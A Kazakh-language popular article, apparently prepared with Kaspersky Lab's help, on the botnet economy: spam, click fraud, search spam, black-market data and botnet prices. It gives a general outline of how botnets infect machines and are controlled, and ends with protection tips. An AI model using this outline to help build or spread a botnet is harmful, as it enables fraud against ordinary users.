Мұндай операциялардың қаншалықты тиімді екенін екі жыл бұрын қамауға алынған бразилиялық киберқылмыскерлер тобының белгілі оқиғасы арқылы бағалауға болады. Олар компьютерлерден ұрланған ақпаратты пайдаланып, қарапайым қолданушылардың банктік шоттарынан 4,74 миллион долларды шығара алды. Қолданушының ақшасына тікелей қатысы жоқ жеке деректерді алуға жалған құжат жасауға, жалған банк шоттарын ашуға, заңсыз операциялар жасауға және т.б. айналысатын қылмыскерлер де мүдделі.

Ботнеттер жинайтын ақпараттың тағы бір түрі электрондық пошта мекенжайлары болып табылады және несие картасы мен шот нөмірлерінен айырмашылығы, көптеген электрондық пошта мекенжайларын бір вирус жұққан компьютердің мекенжай кітабынан алуға болады. Жиналған мекенжайлар сатылымға шығарылады, кейде «жаппай» - мегабайтпен. Мұндай «өнімдердің» негізгі сатып алушылары спам жіберушілер болып табылады. Миллион электрондық пошта мекенжайларының тізімі 20-дан 100 долларға дейін тұрады, ал спам жіберушілерге сол миллион мекенжайға жіберілген жөнелтілімдер 150-200 доллар тұрады. Пайдасы анық.

Қылмыскерлерді түрлі ақылы қызметтер мен интернет-дүкендердің аккаунттары да қызықтырады. Әрине, олар банктік шоттарға қарағанда арзанырақ, бірақ олардың жүзеге асырылуы құқық қорғау органдарының қудалау қаупінің төмендеуімен байланысты.

Күн сайын дүние жүзінде миллиондаған спам-хабарламалар таралады. Қажетсіз хаттарды жіберу қазіргі ботнеттердің негізгі функцияларының бірі болып табылады. Касперский зертханасының мәліметтері бойынша, барлық спамның шамамен 80% зомби желілері арқылы жіберіледі. Виаграны жарнамалайтын миллиардтаған хаттар, қымбат сағаттардың көшірмелері, онлайн казинолар және т.б. заңға бағынатын пайдаланушылардың компьютерлерінен байланыс арналары мен пошта жәшіктерін бітеп тастайды. Осылайша, хакерлер бейкүнә пайдаланушылардың компьютерлеріне қауіп төндіреді: хаттар жіберілетін мекенжайлар антивирустық компаниялардың қара тізіміне енеді.

Соңғы жылдары спам-қызметтердің ауқымы кеңейді: ICQ спам, әлеуметтік желілерде, форумдарда және блогтарда спам пайда болды. Бұл сонымен қатар ботнет иелерінің «еңбегі»: бот-клиентке «Facebook-тегі спам» сияқты ұрандармен жаңа бизнестің көкжиегін ашатын қосымша модульді қосу қиын емес. Қымбат емес». Спам бағасы мақсатты аудиторияға және хат жіберілетін мекенжайлар санына байланысты өзгереді. Мақсатты пошта жөнелтілімдерінің бағасы жүздеген мың мекенжайлар үшін 70 доллардан бірнеше ондаған миллион мекенжайлар үшін 1000 долларға дейін ауытқиды. Өткен жылы спам жіберушілер электрондық поштаны жіберуден шамамен 780 миллион доллар табыс тапты.

Іздеу спамын жасау

Ботнеттерді қолданудың тағы бір жағдайы - іздеу жүйелеріндегі веб-сайттардың танымалдылығын арттыру. Іздеу жүйесін оңтайландырумен жұмыс істегенде, ресурс әкімшілері іздеу нәтижелеріндегі сайттың позициясын арттыруға тырысады, өйткені ол неғұрлым жоғары болса, іздеу жүйелері арқылы сайтқа келушілер соғұрлым көп болады, демек, сайт иесінің кірісі соғұрлым жоғары болады, мысалы, веб-беттердегі жарнамалық кеңістікті сатудан. Көптеген компаниялар өз веб-сайттарын іздеу жүйелерінде жоғары орындарға шығару үшін веб-шеберлерге көп ақша төлейді. Ботнет иелері өздерінің кейбір әдістерін пайдаланып, іздеу жүйесін оңтайландыру процесін автоматтандырды.

LiveJournal-дағы жазбаңызға немесе фотохостинг сайтында жарияланған сәтті фотоға түсініктемелерде сізге бейтаныс адам, кейде сіздің «досыңыз» жасаған көптеген сілтемелерді көргенде, таң қалмаңыз: біреу жай ғана өздерінің ресурсын ботнет иелеріне жылжытуды бұйырды. Арнайы жасалған бағдарлама зомби компьютеріне жүктеледі және оның иесінің атынан жарнамаланатын сайтқа сілтемелері бар танымал ресурстарға түсініктемелер қалдырады. Заңсыз іздеу спам қызметтерінің орташа бағасы айына шамамен $300 құрайды.

Жеке деректер қанша тұрады?

Ұрланған жеке деректердің құны оның заңды иесі тұратын елге тікелей байланысты. Мысалы, АҚШ резидентінің толық деректері 5-8 доллар тұрады. Қара нарықта Еуропалық Одақ резиденттерінің деректері ерекше құнды – бұл АҚШ пен Канада азаматтарының деректерінен екі-үш есе қымбат. Мұны ЕО-ның кез келген елінде мұндай деректерді қылмыскерлер пайдалана алатынымен түсіндіруге болады. Бір адам туралы деректердің толық пакетінің бүкіл әлем бойынша орташа бағасы шамамен 7 долларды құрайды.

Өкінішке орай, ботнетті нөлден ұйымдастыруға шешім қабылдағандар үшін Интернетте зомби желісін құру туралы нұсқауларды табу қиын болмайды. Бірінші қадам: жаңа зомби желісін жасаңыз. Ол үшін пайдаланушылардың компьютерлерін арнайы бағдарламамен - ботпен жұқтыру керек. Инфекция үшін спам-хабарламалар, форумдар мен әлеуметтік желілерде хабарламаларды орналастыру және басқа әдістер қолданылады; Көбінесе бот вирустар немесе құрттар сияқты өздігінен таралу функциясымен жабдықталған.

Әлеуметтік инженерия әдістері әлеуетті құрбанды ботты орнатуға мәжбүрлеу үшін қолданылады. Мысалы, олар арнайы кодек жүктеп алуды қажет ететін қызықты бейнені көруді ұсынады. Мұндай файлды жүктеп алып, іске қосқаннан кейін пайдаланушы, әрине, ешбір бейнені көре алмайды және, ең алдымен, мүлде өзгерістерді байқамайды, ал оның ДК жұқтырылып, барлық командаларды орындайтын мойынсұнғыш қызметшіге айналады. ботнет иесінің.

Боттарды жұқтырудың екінші кең таралған әдісі - диск арқылы жүктеу. Пайдаланушы вирус жұққан веб-бетке кірген кезде, зиянды код оның компьютеріне қолданбалардағы әртүрлі «саңылаулар» арқылы жүктеледі - ең алдымен танымал браузерлер. Әлсіз жерлерді пайдалану үшін арнайы бағдарламалар қолданылады - эксплоиттер. Олар дыбыссыз жүктеп қана қоймай, сонымен қатар вирусты немесе ботты үнсіз іске қосуға мүмкіндік береді. Зиянды бағдарламаны таратудың бұл түрі ең қауіпті болып табылады, өйткені танымал ресурс бұзылса, ондаған мың пайдаланушылар вирус жұқтырады!

Бот компьютерлік желілер арқылы өзін-өзі тарату функциясымен жабдықталуы мүмкін. Мысалы, ол барлық қолжетімді орындалатын файлдарды жұқтыру немесе желідегі осал компьютерлерді іздеу және жұқтыру арқылы таралуы мүмкін.

Ботнет жасаушы бейтаныс пайдаланушылардың вирус жұққан компьютерлерін ботнеттің пәрмен орталығы арқылы басқара алады, боттармен IRC арнасы, веб қосылымы немесе кез келген басқа қолжетімді құралдар арқылы байланыса алады. Ботнет иесіне табыс әкеле бастауы үшін желіге бірнеше ондаған машиналарды қосу жеткілікті. Сонымен қатар, бұл табыс зомби желісінің тұрақтылығына және оның өсу қарқынына сызықты түрде тәуелді.

PPC (Pay-per-Click) схемасы бойынша жұмыс істейтін онлайн-жарнама компаниялары Интернетте орналастырылған жарнамалардағы сілтемелерді бірегей басу үшін ақша төлейді. Ботнет иелері үшін мұндай компанияларды алдау тиімді бизнес болып табылады. Мысалы, сіз белгілі Google AdSense желісін ала аласыз. Оған кіретін жарнама берушілер Google-ға жарияланған жарнамаларды басқандары үшін төлейді, ол келген пайдаланушы олардан бірдеңе сатып алады деген үмітпен.

Google өз кезегінде AdSense бағдарламасына қатысатын әртүрлі сайттарда контекстік жарнаманы орналастырады, сайт иесіне әр басудың пайызын төлейді. Өкінішке орай, барлық веб-сайт иелері адал емес. Зомби желісі арқылы хакер күніне мыңдаған бірегей шертулер жасай алады, әр құрылғыдан бір-бірден, Google-дан көп күдік тудырмайды. Осылайша, жарнамалық науқанға жұмсалған қаржы хакердің қалтасына түседі. Өкінішке қарай, мұндай әрекеті үшін ешкімді жауапқа тартқан бірде-бір оқиға әлі болған жоқ. Click Forensics мәліметтері бойынша, 2008 жылы жарнамалық сілтемелердегі барлық басулардың шамамен 16-17% жалған болды, оның кем дегенде үштен бірі ботнеттермен жасалған. Қарапайым есептеулерді орындағаннан кейін сіз өткен жылы ботнеттердің иелері 33 000 000 долларды «жеңгенін» түсіне аласыз. Тінтуірді басу арқылы жақсы табыс!

Шабуылшылар мен адал емес бизнесмендер міндетті түрде нөлден бастап өздігінен ботнет құрудың қажеті жоқ. Олар хакерлерден әртүрлі өлшемдегі және өнімділіктегі ботнеттерді сатып ала алады немесе жалға алады - мысалы, мамандандырылған форумдарға жүгіну арқылы.

Дайын ботнеттің құны, сондай-ақ оны жалға алу құны оған енгізілген компьютерлердің санына тікелей байланысты. Дайын ботнеттер ағылшын тіліндегі форумдарда ең танымал.

Бірнеше жүз боттардан тұратын шағын ботнеттердің құны 200-700 доллар аралығында. Бұл ретте бір боттың орташа бағасы шамамен 50 центті құрайды. Үлкен ботнеттер көп ақшаны талап етеді.

Бірнеше жыл бұрын Голландиядан келген 19 жастағы хакер жасаған Shadow зомби желісі бүкіл әлем бойынша орналасқан 100 мыңнан астам компьютерден тұрды және 25 000 еуроға сатылды. Бұл ақшаға Испанияда шағын үй сатып алуға болады, бірақ Бразилиядан келген қылмыскер ботнет сатып алуды таңдады.

Ботнеттерді қорғау құралдары

1. Ең алдымен, бұл антивирустық бағдарламалар және жүйелі түрде жаңартылатын дерекқорлары бар интернет қауіптерінен қорғауға арналған кешенді пакеттер. Олар қауіпті уақытында анықтауға ғана емес, сонымен қатар сіздің адал «темір досыңыз» зомбиге айналғанға дейін спам жіберуге немесе сайттарды «түсіруге» дейін оны жоюға көмектеседі. Kaspersky Internet Security 2009 сияқты кешенді пакеттерде жалпы командалық орталық арқылы басқаруға болатын қауіпсіздік функцияларының толық жиынтығы бар.

Вирусқа қарсы модуль фондық режимде маңызды жүйе аймақтарын сканерлейді және вирустың барлық ықтимал ену жолдарын бақылайды: электрондық пошта тіркемелері және ықтимал қауіпті веб-сайттар.

Брандмауэр дербес компьютер мен Интернет арасындағы деректер алмасуды бақылайды. Ол Интернеттен алынған немесе Интернетке жіберілген барлық деректер пакеттерін тексереді және қажет болған жағдайда желілік шабуылдарды блоктайды және жеке деректердің Интернетке жасырын жіберілуіне жол бермейді.

Спам сүзгісі пошта жәшігін жарнамалық хабарламалардың енуінен қорғайды. Оның міндеттеріне сонымен қатар фишингтік электрондық пошталарды анықтау кіреді, олардың көмегімен шабуылдаушылар пайдаланушыдан оның онлайн төлем немесе банк жүйелеріне кіру тіркелгі деректері туралы ақпаратты алуға тырысады.

2. Операциялық жүйені, веб-браузерлерді және басқа қолданбаларды үнемі жаңарту, әзірлеушілер оларды қорғаудағы көптеген олқылықтарды, сондай-ақ шабуылдаушылар пайдаланатын әлсіздіктерді анықтап, жояды.

3. Арнайы шифрлау бағдарламалары сіздің жеке деректеріңізді, тіпті егер бот компьютерге еніп кеткен болса да, қорғайды, өйткені оған қол жеткізу үшін ол құпия сөзді бұзуы керек.

4. Ақыл-ой мен сақтық. Деректеріңізді әртүрлі қауіптерден қорғағыңыз келсе, шығу тегі белгісіз бағдарламаларды жүктеп алып, орнатуға, антивирустық ескертулерге қарамастан файлдары бар мұрағаттарды ашуға, браузеріңіз қауіпті деп белгілейтін сайттарға кіруге және т.б.

Касперский зертханасына материалды дайындауға көрсеткен көмегі үшін алғыс айтамыз